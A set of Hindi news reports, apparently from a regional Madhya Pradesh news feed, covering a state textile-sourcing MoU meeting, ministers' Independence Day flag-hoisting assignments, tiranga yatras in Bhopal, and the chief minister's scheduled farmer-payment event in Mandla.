बैठक में राज्य सरकार और बीएसएल (बायर सोर्सिंग लीग) के बीच एमओय़ू भी हुआ। मुख्यमंत्री डॉ. यादव ने कहा कि यह एमओयू केवल दस्तावेज नहीं, बल्कि विश्वास का प्रमाण है, जो मध्यप्रदेश को ‘पसंदीदा सोर्सिंग डेस्टिनेशन’ और ‘प्रोडक्शन हब’ बनाने में मील का पत्थर सिद्ध होगा। राज्य सरकार और बीएसएल के बीच एमओयू के तहत सोर्सिंग–प्रोडक्शन–लॉजिस्टिक्स–डिजाइन–कौशल विकास जैसे क्षेत्रों में साझा कार्ययोजना तैयार की जाएगी। पीएम मित्रा पार्क, क्लस्टर-लिंक्ड सपोर्ट, ब्रांड-इंगेजमेंट रोडशो, निर्यात संवर्धन और ईएसजी-लिंक्ड निवेशों पर केंद्रित टास्कफोर्स गठित कर समयबद्ध क्रियान्वयन किया जाएगा। मुख्यमंत्री ने कहा कि उद्योगों की आवश्यकताओं पर त्वरित निर्णय होंगे। राज्य आश्वस्त करता है कि निवेश, उत्पादन और रोजगार तीनों मोर्चों पर अपेक्षित सहयोग उपलब्ध कराया जाएगा।

वैश्विक बाजार में प्रतिस्पर्धा के लिए तैयार मध्यप्रदेश : प्रमुख सचिव सिंह

प्रमुख सचिव औद्योगिक नीति एवं निवेश प्रोत्साहन राघवेन्द्र सिंह ने कहा कि मध्यप्रदेश का लक्ष्य वैश्विक सोर्सिंग डेस्टिनेशन के रूप में निर्णायक उपस्थिति दर्ज कराना है। उन्होंने स्पष्ट किया कि राज्य ने उद्योग केंद्रित 18 से अधिक नीतियों के माध्यम से पूंजी निवेश प्रोत्साहन, ब्याज व बिजली शुल्क में रियायत, स्टाम्प ड्यूटी/एसजीएसटी रिफंड, ­एम्प्लॉयमेंट-लिंक्ड इंसेंटिव, कौशल प्रशिक्षण व क्लस्टर विकास जैसे व्यापक प्रावधान सुनिश्चित किए हैं। सिंगल-विंडो सिस्टम, अनुमतियों की संख्या में युक्तियुक्त कटौती और 30 दिन की समय-सीमा से ‘स्पीड ऑफ डूइंग बिज़नेस’ मध्यप्रदेश की विशिष्ट पहचान बन चुका है।

प्रमुख सचिव सिंह ने बताया कि पीएम मित्रा पार्क (धार) में प्लग-एंड-प्ले फेसीलिटी, कॉमन एफ्लुएंट ट्रीटमेंट, डिजाइन/टेस्टिंग लैब्स, लॉजिस्टिक हब, आधुनिक वेयरहाउसिंग तथा मल्टी-मॉडल कनेक्टिविटी उपलब्ध कराई जा रही है। राज्य में सुदृढ़ सड़क–रेल–हवाई नेटवर्क, सूझबूझ से विकसित औद्योगिक क्षेत्रों और ड्राई पोर्ट/एयर-कार्गो सुविधाओं के साथ निर्यात-उन्मुख इकाइयों को त्वरित, विश्वसनीय सप्लाई-चेन सपोर्ट मिलता है। उन्होंने कहा कि राज्य ग्रीन एनर्जी सरप्लस है; सौर और पवन परियोजनाओं के तीव्र विस्तार से उद्योगों को विश्वस्तरीय प्रतिस्पर्धी लागत पर स्वच्छ ऊर्जा उपलब्ध कराई जा रही है। उन्होंने प्रदेश में सरकार द्वारा टेक्सटाइल एवं गारमेंट्स सेक्टर में किए जा रहे प्रयासों, निर्यात संवर्धन के लिए राज्य-स्तरीय निर्यात प्रोत्साहन, ब्रांडिंग–मार्केटिंग सहायता, विदेशी बाजारों में बीटूबी कनेक्ट और ‘डिजाइन से डिलीवरी’ तक समर्थन तंत्र का उल्लेख किया। उन्होंने बताया कि ऑर्गेनिक कॉटन के वैल्यू-एडेड प्रोडक्ट्स, रिसाइक्लिंग–सर्कुलेरिटी, वाटर रीयूज़ और कार्बन-न्यूट्रल प्रोडक्शन जैसी पहलों को नीति-स्तर पर प्राथमिकता दी गई है, जिससे मध्यप्रदेश को ‘मोस्ट सस्टेनेबल टेक्सटाइल हब’ के रूप में स्थापित किया जा सके।

‘मेड इन एमपी’ को वैश्विक ब्रांड बनाने बीएसएल के सदस्यों ने दिये सुझाव

बैठक में बीएसएल के प्रतिनिधियों ने उद्योग के विभिन्न पहलुओं पर व्यावहारिक सुझाव दिए। बीएसएल के संस्थापक सदस्य रमन ने बताया कि बीएसएल संगठन एक नॉन-प्रॉफिट प्लेटफॉर्म है, जिसमें 4,507 से अधिक सदस्य जुड़े हैं। इसके 13 अंतर्राष्ट्रीय चैप्टर्स यूरोप, जापान सहित कई प्रमुख देशों में हैं। बीएसएल की प्राथमिकता भारतीय उद्योग को वैश्विक प्रतिस्पर्धा के अनुरूप सशक्त बनाना और ब्रांड–सोर्सिंग–प्रोडक्शन के बीच मजबूत सेतु तैयार करना है।

नीरज नागपाल ने कहा कि मध्यप्रदेश पायलट राज्य बनकर तत्काल समाधान लागू कर सकता है, जिससे नीति-स्तर के सुधारों का लाभ उद्योग इकाइयों तक तेज़ी से पहुँचे। उन्होंने ‘डिजाइन-टू-डिलीवरी’ मॉडल को संस्थागत रूप देने और ‘सर्कुलैरिटी ऑफ फैशन’ के लिए राज्य-समर्थित फ्रेमवर्क की आवश्यकता रेखांकित की।

तेजस (पीवीएच, ग्लोबल सस्टेनेबिलिटी) ने कहा कि राज्य में सस्टेनेबल मैन्युफैक्चरिंग के लिए ईकोसिस्टम परिपक्व है। रीसाइक्लिंग, वाटर रीयूज़ और नवकरणीय ऊर्जा आधारित उत्पादन को नीतिगत प्रोत्साहन के साथ ‘एमपी– मोस्ट सस्टेनेबल टेक्सटाइल हब’ के रूप में म.प्र. को ब्रांड किया जा सकता है।

तपन बंसल (मदरकेयर) ने सप्लाई-चेन इंटीग्रेशन, तेज़ अनुमतियों और टेस्टिंग–क्वालिटी सर्टिफिकेशन लैब्स के विस्तार पर जोर दिया, जिससे शिशु/बच्चों के परिधान जैसे संवेदनशील सेगमेंट्स में वैश्विक मानकों का पालन और तेज़ निर्यात संभव हो।

डॉ. किरुबा देवी ने आर्टिजन–हैंडलूम क्लस्टर्स के साथ आधुनिक गारमेंटिंग यूनिट्स को ‘डिजाइन और मार्केटिंग सपोर्ट’ से जोड़ने का सुझाव दिया, जिससे पारंपरिक कौशल का आधुनिक फैशन से समन्वय हो और वैश्विक प्रीमियम सेगमेंट्स में ‘मेड इन एमपी’ की पहचान बने।

श्रेयस्कर ने ऑर्गेनिक रॉ कॉटन पर कस्टम ड्यूटी स्ट्रक्चर का पुनरावलोकन और रेडी गारमेंट के ड्यूटी-फ्री एक्सेस का लाभ उठाने के लिये ‘रॉ–टू–रैक’ तेज़-मार्ग (फास्ट ट्रैक) का प्रस्ताव रखा।

बीएसएल के प्रतिनिधियों ने बताया कि संगठन के सदस्य ‘ब्रांड हेड्स, सोर्सिंग हेड्स और प्रोडक्शन हेड्स’ के रूप में वैश्विक स्तर पर कार्यरत हैं। मध्यप्रदेश में स्पेशलाइज्ड टेक्सटाइल पार्क्स, हाई-टेक गारमेंटिंग यूनिट्स, डिजाइन–इननोवेशन सेंटर और ग्लोबल मार्केटिंग कैंपेन के समेकित खाके से ‘मेड इन एमपी’ को प्रमुख फैशन एवं रिटेल बाजारों में तेज़ी से स्थापित किया जा सकता है।

बैठक में हनेसब्रांड्स, पीवीएच कोर्प, केयर फोर एशिया लिमिटेड., पूमा, मदरकेयर, जिवामे सहित 15 से अधिक शीर्ष वैश्विक ब्रांड्स के प्रतिनिधि उपस्थित रहे। प्रदेश के प्रमुख टेक्सटाइल व गारमेंट उद्योगपतियों ने भी विचार साझा किए। यह सर्वसम्मति भी बनी कि मध्यप्रदेश में कच्चे माल से लेकर तैयार परिधान तक का संपूर्ण उत्पादन-चक्र, ग्रीन एनर्जी, किफायती लागत और तेज़ अनुमति मिलकर वैश्विक बाजार में प्रतिस्पर्धी बढ़त प्रदान करती हैं।

बैठक में प्रदेश के परिधान और वस्त्र क्षेत्र से जुड़े प्रमुख उद्योगपतियों एवं ब्रांड प्रतिनिधियों ने भाग लिया। इनमें वर्धमान टेक्सटाइल्स के संयुक्त प्रबंध निदेशक नीरज जैन, बैस्ट लाइफस्टाइल अपैरल प्रा. लि. के प्रबंध निदेशक आर. राजकुमार, सागर मैन्युफैक्चरर्स प्रा. लि. के प्रबंध निदेशक सिद्धार्थ अग्रवाल, मराल ओवरसीज लिमिटेड के प्रेसिडेंट तरुण बलदुआ, भास्कर इंडस्ट्रीज प्रा. लि. के निदेशक अखिलेश राठी, न्यू ज़ील फैशन वियर प्रा. लि. के प्रबंध निदेशक रोहित त्रिवेदी, लायन फैब्रिक्स प्रा. लि. के प्रबंध निदेशक हिमांशु ठकराल, सेफफ्लेक्स इंटरनेशनल लि. के वाइस प्रेसिडेंट (वाणिज्य) जी.के. सिंह, प्रतिभा सिंटेक्स के प्रबंध निदेशक श्रेयास्कर चौधरी, गोकलदास एक्सपोर्ट्स आचारपुरा प्रा. लि. के कार्यकारी निदेशक प्रभात कुमार सिंह, कशीदा अपैरल्स प्रा. लि. के प्रबंध निदेशक सिद्धार्थ बिंद्रा, नाहर स्पिनिंग मिल्स लि. के सीनियर वाइस प्रेसिडेंट डी.के. मुंद्रा, ट्राइडेंट लिमिटेड (ट्राइडेंट ग्रुप) के वाईस प्रेसिडेंट अजातशत्रु शर्मा, ग्रासिम इंडस्ट्रीज लि. (एक्सेल फाइबर डिवीजन) के राज्य प्रमुख संदीप जैन, लक्ष्मीपती ग्रुप के प्रबंध निदेशक राकेश सरावगी और पैरागन अपैरल्स के प्रबंध निदेशक रोशन बैंड शामिल हैं।

 

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मुख्यमंत्री डॉ. यादव स्वतंत्रता दिवस पर भोपाल में करेंगे ध्वजारोहण https://pratyushaashakinayikiran.com/?p=178099 Fri, 15 Aug 2025 02:35:00 +0000 https://pratyushaashakinayikiran.com/?p=178099 भोपाल

मुख्यमंत्री डॉ. मोहन यादव स्वतंत्रता दिवस की 78वीं वर्षगांठ पर 15 अगस्त को राजधानी भोपाल में आयोजित राज्य-स्तरीय समारोह में ध्वजारोहण कर प्रदेशवासियों के नाम संदेश देंगे। इस अवसर पर राजधानी भोपाल सहित जिला मुख्यालयों पर विभिन्न सांस्कृतिक गतिविधियां भी होंगी।

उप मुख्यमंत्री जगदीश देवड़ा जबलपुर और उप मुख्यमंत्री राजेंद्र शुक्ल शहडोल में ध्वजारोहण करेंगे। मंत्री डॉ. कुंवर विजय शाह रतलाम, मंत्री कैलाश विजयवर्गीय धार, मंत्री प्रहलाद सिंह पटेल भिण्ड, मंत्री राकेश सिंह नर्मदापुरम, मंत्री करन सिंह वर्मा मुरैना, मंत्री उदय प्रताप सिंह बालाघाट, मंत्री श्रीमती सम्पतिया उइके मंडला, मंत्री तुलसीराम सिलावट बुरहानपुर, मंत्री एदल सिंह कंषाना दतिया, मंत्री सुनिर्मला भूरिया मंदसौर, मंत्री गोविंद सिंह राजपूत नरसिंहपुर, मंत्री विश्वास सारंग खरगौन, मंत्री नारायण सिंह कुशवाह ग्वालियर, मंत्री नागर सिंह चौहान अलीराजपुर, मंत्री प्रदुम्न सिंह तोमर शिवपुरी और मंत्री राकेश शुक्ला श्योपुर में ध्वजारोहण करेंगे।

मंत्री चैतन्य काश्यप राजगढ़, मंत्री इन्दर सिंह परमार दमोह, राज्य मंत्री (स्वतंत्र प्रभार) श्रीमती कृष्णा गौर सीहोर, राज्य मंत्री (स्वतंत्र प्रभार) धर्मेन्द्र भाव सिंह लोधी खंडवा, राज्य मंत्री (स्वतंत्र प्रभार) दिलीप जायसवाल सीधी, राज्य मंत्री (स्वतंत्र प्रभार) गौतम टेटवाल बड़वानी, राज्य मंत्री (स्वतंत्र प्रभार) लखन पटेल मउगंज, राज्य मंत्री (स्वतंत्र प्रभार) नारायण सिंह पंवार रायसेन, राज्यमंत्री नरेन्द्र शिवाजी पटेल बैतूल, राज्यमंत्री श्रीमती प्रतिमा बागरी डिंडोरी, राज्यमंत्री दिलीप अहिरवार अनूपपुर और राज्यमंत्री श्रीमती राधा सिंह सिंगरौली में ध्वजारोहण करेंगे।

इंदौर, झाबुआ, पन्ना, टीकमगढ़, निवाड़ी, सागर, उज्जैन, देवास, विदिशा, शाजापुर, आगर मालवा, हरदा, नीमच, गुना, अशोकनगर, कटनी, छिंदवाड़ा, सिवनी, रीवा, मैहर, पांढुर्ना, छतरपुर, सतना एवं उमरिया जिले में संबंधित जिले के कलेक्टर ध्वजारोहण करेंगे।

 

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भोपाल की बड़ी झील, कश्मीर की डल-लेक से कम नहीं इसे और विकसित किया जायेगा : मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=178030 Thu, 14 Aug 2025 13:39:00 +0000 https://pratyushaashakinayikiran.com/?p=178030 भोपाल की बड़ी झील, कश्मीर की डल-लेक से कम नहीं इसे और विकसित किया जायेगा : मुख्यमंत्री डॉ. यादव

मुख्यमंत्री डॉ. यादव के नेतृत्व में भोपाल में निकली चार तिरंगा यात्राएं

राष्ट्रीय मानचित्र पर उभरेगा भोपाल का ताल: मुख्यमंत्री डॉ. यादव

बोट क्लब पर हुआ जल तिरंगा यात्रा का रोमांचक आयोजन

राष्ट्रभक्ति की भावना से ओत-प्रोत नगरवासियों के वंदे-मातरम और भारत माता की जय के नारों से गूंजायमान हुआ सम्पूर्ण वातावरण
मुख्यमंत्री निवास, बोट क्लब, कोलार रोड और शौर्य स्मारक की यात्राओं से तिरंगामयी हुई राजधानी

भोपाल 

मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि भोपाल की बड़ी झील, कश्मीर की डल-लेक से कम नहीं है इसका और अधिक विकास किया जायेगा। यहां पर्यटन विभाग के सहयोग से शिकारे भी संचालित किये जायेंगे। उन्होंने कहा कि वॉटर स्पोर्ट्स सहित सभी प्रमुख खेलों में ओलम्पिक और कॉमनवेल्थ जैसी अंतर्राष्ट्रीय खेल प्रतियोगिताओं में देश के लिए अधिक से अधिक पदक लाने के उद्देश्य से राज्य में खेल गतिविधियां संचालित की जा रही हैं।

मुख्यमंत्री डॉ. यादव प्रदेश में जारी हर घर तिरंगा अभियान के अंतर्गत भोपाल के बड़े तालाब के बोट क्लब से निकाली गई जल तिरंगा यात्रा का शुभारंभ कर संबोधित कर रहे थे। उन्होंने झंडी दिखाकर जल तिरंगा यात्रा की शुरुआत की। मुख्यमंत्री डॉ. यादव ने बड़ी संख्या में तिरंगे गुब्बारे आकाश में छोड़े। एशियाई और ओलंपिक गेम्स में उपयोग में आने वाली बोट्स में सवार वॉटर स्पोर्ट्स खिलाड़ी अनुशासन और गरिमा के साथ तिरंगा लेकर बड़े तालाब में आगे बढ़े, क्षेत्र का नभ-जल और धरा तिरंगामय हो गया। देशभक्ति, एकता और समर्पण की भावना को और सशक्त करते इस अनोखे, रोमांचक आयोजन में बड़ी संख्या में वॉटर स्पोर्ट्स खिलाड़ी, विद्यार्थी और राजधानीवासी शामिल हुए। इस अवसर पर खेल एवं युवा कल्याण मंत्री विश्वास सारंग, पिछड़ा वर्ग एवं अल्पसंख्यक कल्याण राज्यमंत्री (स्वतंत्र प्रभार) श्रीमती कृष्णा गौर, प्रदेशाध्यक्ष हेमंत खंडेलवाल, भोपाल महापौर श्रीमती मालती राय और रविन्द्र यति उपस्थित थे।

स्वतंत्रता दिवस के एक दिन पहले 14 अगस्त की शुरूआत मुख्यमंत्री निवास परिसर में निकाली गई तिरंगा यात्रा से हुई। मुख्यमंत्री डॉ. यादव के नेतृत्व में निकली इस तिरंगा यात्रा में मुख्यमंत्री सचिवालय तथा मुख्यमंत्री निवास में पदस्थ सभी अधिकारी-कर्मचारी, सुरक्षा कर्मी और दीदी कैफे की दीदीयां तिरंगा लहराते हुए शामिल हईं। देशभक्ति की भावना से ओत-प्रोत इस यात्रा ने निवास परिसर को वंदे मातरम और भारत माता की जय के नारों से गूंजायमान कर दिया।

श्यामा प्रसाद मुखर्जी नगर में विशाल तिरंगा यात्रा में उमड़ा जनसैलाब

मुख्यमंत्री डॉ. यादव ने डॉ. श्यामा प्रसाद मुखर्जी नगर कोलार रोड क्षेत्र में कर्म संस्था द्वारा आयोजित तिरंगा यात्रा में भी शामिल हुए। मुख्यमंत्री डॉ. यादव ने यात्रा आरंभ होने से पहले मदर टेरेसा स्कूल के पास उपस्थित जन समुदाय को संबोधित करते हुए कहा कि प्रधानमंत्री नरेन्द्र मोदी के नेतृत्व में हुए ऑपरेशन सिंदूर से दुनिया, भारतीय सेना के वीर सपूतों के शौर्य और पराक्रम से परिचित हुई है। हम सबके लिए यह गर्व और गौरव का विषय है। आजादी के पर्व 15 अगस्त पर देशभक्ति की भावना सभी के मन में हिलोरे ले रही है। हर घर तिरंगा-घर-घर तिरंगा और तिरंगा यात्राओं में उमड़ रहा जन सैलाब इसका प्रतीक है। पूर्व प्रोटेम स्पीकर तथा विधायक रामेश्वर शर्मा द्वारा निकाली जा रही तिरंगा यात्रा ऐतिहासिक है। यात्रा में स्कूली बच्चों से लेकर युवाओं, महिलाओं और वरिष्ठ नागरिकों का उत्साह देखते ही बनता है। विशाल तिरंगा यात्रा ने नया कीर्तिमान बनाया है। मुख्यमंत्री डॉ. यादव के नेतृत्व में शुरू हुई विशाल तिरंगा यात्रा में विधायक रामेश्वर शर्मा, प्रदेश अध्यक्ष हेमंत खंडेलवाल, संगठन महामंत्री हितानंद शर्मा सहित जनप्रतिनिधि एवं बड़ी संख्या में देश भक्ति के रंग में रंगे युवा, स्कूली छात्र-छात्राएं एवं महिलाएँ उपस्थित रही।

भारतीय सेना को समर्पित रही शौर्य स्मारक की तिरंगा यात्रा

मुख्यमंत्री डॉ. यादव ने भारतीय सेना के शौर्य को समर्पित हर घर तिरंगा अभियान के अंतर्गत शौर्य स्मारक से विशाल तिरंगा यात्रा का शुभारंभ तिरंगा फहराकर किया। भोपाल महापौर श्रीमती मालती राय और भोपाल की दक्षिण पश्चिम विधानसभा क्षेत्र के विधायक भगवान दास सबनानी साथ थे। मुख्यमंत्री डॉ. यादव ने इस अवसर पर अमर शहीदों और वीर पराक्रमी सैनिकों का स्मरण किया। शौर्य स्मारक से भारत माता चौक (डिपो चौराहा) तक जाने वाली तिरंगा यात्रा में दो पहिया वाहनों पर बड़ी संख्या में महिलाएं शामिल हुईं। भारत माता का रथ, ब्रह्मोस और राफेल मिसाइल के मॉडल भी यात्रा शामिल हुए।

तिरंगा यात्राओं का जगह-जगह पुष्प वर्षा और तिरंगा लहराकर स्वागत किया गया। साथ ही राष्ट्र भक्ति के गीतों और भारत माता की जय के नारों से पूरा वातावरण गुज उठा। सही वर्गों में तिरंगा यात्रा को लेकर उत्साह बना रहा।

 

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CM मोहन यादव का ऐलान: भोपाल बोट क्लब पर चलेंगे शिकारे, मिलेगा डल झील जैसा अनुभव https://pratyushaashakinayikiran.com/?p=177922 Thu, 14 Aug 2025 10:40:00 +0000 https://pratyushaashakinayikiran.com/?p=177922 भोपाल
 अब शिकारे का आनंद उठाने के लिए आपको कश्मीर की डल झील जाने की जरूरत नहीं होगी। आने वाले दिनों में मध्यप्रदेश की राजधानी में ही आप शिकारे का आनंद उठा सकेंगे। मुख्यमंत्री डॉ. मोहन यादव ने कहा कि भोपाल के बोट क्लब पर शिकारे चलेंगे और यहां की जनता डल झील की तरह लहरों पर शिकारे का आनंद उठा सकेगी। सीएम डॉ. यादव ने यह बात 14 अगस्त को उस वक्त कही, जब वे बोट क्लब पर आयोजित तिरंगा नौका यात्रा में शामिल हुए। यह यात्रा हर घर तिरंगा अभियान के तहत निकाली गई। इस दौरान उन्होंने 'ये देश है वीर जवानों का.., गाना भी गाया। उन्होंने कहा कि प्रधानमंत्री नरेंद्र मोदी के नेतृत्व में भारत खेलों में भी आगे बढ़ रहा है। हमारी सरकार भी खेलों को प्रोत्साहित करने के लिए संकल्पित है। 

गौरतलब है कि, गुरुवार को भोपाल के बोट क्लब का नजारा बदला-बदला सा दिखाई दिया। सैकड़ों नावों पर सवार लोग हाथों में तिरंगा लिए देशभक्ति के रंग में रंगे दिखाई दिए। चारों ओर बज रहे देशभक्ति गीतों ने देखने वालों में उत्साह भर दिया। लोग खुद भी देशभक्ति के गीत गा रहे थे और अन्य लोगों को भी प्रेरणा दे रहे थे। कई लोग हाथों में देशभक्ति के नारों का पोस्टर लिए लोगों को देश-प्रदेश के विकास के लिए प्रेरित कर रहे थे। इस मौके पर  मुख्यमंत्री डॉ. मोहन यादव ने कहा कि आज भोपाल के तालाब पर लहराते तिरंगे हमें ऊर्जा से लबरेज कर रहे हैं। यहां उठ रहीं लहरें हमें हमारे जन कल्याण के संकल्प को याद दिला रही हैं। ये लहरें हमें प्रधानमंत्री नरेंद्र मोदी के नेतृत्व में कदम से कदम मिलाकर आगे बढ़ने की प्रेरणा दे रही हैं। 

राजनीति से बाज नहीं आ रहा विपक्ष 

सीएम डॉ. यादव ने कहा कि हमारी सरकार सभी को साथ लेकर प्रदेश के विकास के लिए संकल्पित है। भविष्य में जनता भोपाल के तालाब में भी कश्मीर की डल झील जैसा आनंद उठा सकेगी। मेरी ओर से सभी को स्वतंत्रता दिवस की बधाई। उन्होंने कहा कि ऑपरेशन सिंदूर के बाद पूरे देश का उत्साह एवरेस्ट की चोटी से भी ऊंचा है। लेकिन, हमारे विपक्ष के नेता गलतियां करने से बाज नहीं आ रहे। विपक्ष के नेता सेना से कार्रवाई का सबूत मांगते हैं। अब जब पूरा देश 15 अगस्त के मद्देनजर ऑपरेशन सिंदूर को लेकर झूम रहा है उस वक्त भी विपक्ष राजनीतिक गतिविधियां कर रहा है। हमारे न्यायालय, हमारी सेनाएं और चुनाव आयोग देश के लोकतंत्र के स्तंभ हैं। विपक्ष इन्हीं पर सवाल खड़े कर रहा है। लेकिन, यह प्रश्न उनकी ओर ही बढ़ रहा है कि वे लोकतंत्र पर भरोसा करते हैं कि नहीं करते हैं।

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मुख्यमंत्री डॉ. यादव 14 अगस्त को मंडला में बलराम जयंती समारोह में होंगे शामिल https://pratyushaashakinayikiran.com/?p=177869 Thu, 14 Aug 2025 07:36:00 +0000 https://pratyushaashakinayikiran.com/?p=177869 मुख्यमंत्री डॉ. यादव 14 अगस्त को मंडला में बलराम जयंती समारोह में होंगे शामिल

मुख्यमंत्री डॉ. यादव 14 अगस्त को मंडला में बलराम जयंती समारोह में शिरकत करेंगे

मंडला में बलराम जयंती: मुख्यमंत्री डॉ. यादव 14 अगस्त को होंगे उपस्थित

मुख्यमंत्री किसान कल्याण योजना में करीब 83 लाख किसानों के खातों में 1671 करोड़ रूपए की राशि का होगा अंतरण

226.12 करोड़ रूपए के विकास कार्यों का करेंगे भूमिपूजन एवं लोकार्पण

मंडला

मुख्यमंत्री डॉ. मोहन यादव आरडी कॉलेज मंडला में आयोजित कृष्ण भ्राता, कृषि देवता भगवान बलराम जयंती समारोह में शामिल होंगे और मुख्यमंत्री किसान कल्याण योजना में प्रदेश के करीब 83 लाख किसानों के खातों में 1671 करोड़ रूपए की राशि सिंगल क्लिक के माध्यम से अंतरित करेंगे। इसमें मंडला जिले के 01 लाख 39 हजार 197 किसानों को 28.11 करोड़ रूपए की राशि अंतरित होगी। इसके साथ ही मुख्यमंत्री डॉ. यादव 226.12 करोड़ रूपए की लागत के कुल 24 विकास कार्यों का भूमिपूजन एवं लोकार्पण करेंगे। इसमें 202.25 करोड़ रूपए के 9 कार्यों का भूमिपूजन एवं 23.87 करोड़ रूपए के 15 कार्यों का लोकार्पण होगा।

मुख्यमंत्री डॉ. यादव ग्राम भीमडोंगरी विकासखंड मवई में 172 लाख रूपए की लागत के पुलिस जनमित्र सहयोग केन्द्र स्थापना कार्य, 387.71 लाख रूपए की लागत के शासकीय उच्चतर माध्यमिक विद्यालय खजरी में 10 अतिरिक्त कक्ष निर्माण, 386.49 लाख रूपए की लागत के शासकीय उच्चतर माध्यमिक विद्यालय अहमदपुर में 10 अतिरिक्त कक्ष निर्माण, 123.20 लाख रूपए की लागत के शासकीय हायरसेकेंडरी स्कूल दाढ़ीभानपुर में 3 लैब एवं 4 अतिरिक्त कक्षों का भवन निर्माण 641.74 लाख रूपए की लागत के लावाधार जलाशय का नहर सहित निर्माण 42.23 लाख रूपए की लागत के माध्यमिक शाला भवन निर्माण कार्य बसनी, 27.04 लाख रूपए की लागत के ग्राम पंचायत ग्वारा में मुक्तिधाम में बाउंड्रीवॉल एवं समतलीकरण कार्य, 33.08 लाख रूपए की लागत के ग्राम पंचायत किन्द्री सड़क एवं पुलिया निर्माण, 49.27 लाख रूपए की लागत के चुटका से चुटका टोला (कुंडा) मार्ग निर्माण, 199.78 लाख रूपए की लागत के तिलगांव से चंदेहरा बैगाटोला मार्ग निर्माण, 65 लाख रूपए की लागत के उप स्वास्थ्य केन्द्र लावर का भवन निर्माण, 65 लाख रूपए की लागत के उप स्वास्थ्य केन्द्र बुदरा का भवन निर्माण, 65 लाख रूपए की लागत के उप स्वास्थ्य केन्द्र सलैया का भवन निर्माण, 65 लाख रूपए की लागत के उप स्वास्थ्य केन्द्र भालीवाड़ा का भवन निर्माण कार्य एवं 65 लाख रूपए की लागत के उपस्वास्थ्य केन्द्र जामगांव का भवन निर्माण कार्यों का लोकार्पण करेंगे।

मुख्यमंत्री डॉ. यादव 398.01 लाख रूपए की लागत के मदनपुर नैझर मार्ग लम्बाई 4 कि.मी., 304.83 लाख रूपए की लागत के नकावल पहुंच मार्ग लम्बाई 4 कि.मी., 11234.17 लाख रूपए के घुटास-उमरिया महली-इलाही से घुघरी-चाबी मार्ग, 6822.78 लाख रूपए की लागत के कालपी-छिंदगांव-पिपरिया मार्ग निर्माण, 546.53 लाख रूपए की लागत के सहस्त्रधारा पहुंच मार्ग लम्बाई 4 कि.मी., 344 लाख रूपए की लागत के पीएम ऊषा परियोजना अंतर्गत अतिरिक्त कक्ष एवं उन्नयन कार्य, 500 लाख रूपए की लागत के जनजातीय सांस्कृतिक केन्द्र मंडला भवन निर्माण कार्य, 37.50 लाख रूपए की लागत के नवीन पंचायत भवन निर्माण सूरजपुरा और 37.50 लाख रूपए की लागत के नवीन पंचायत भवन तिलईपानी का भूमिपूजन करेंगे।

 

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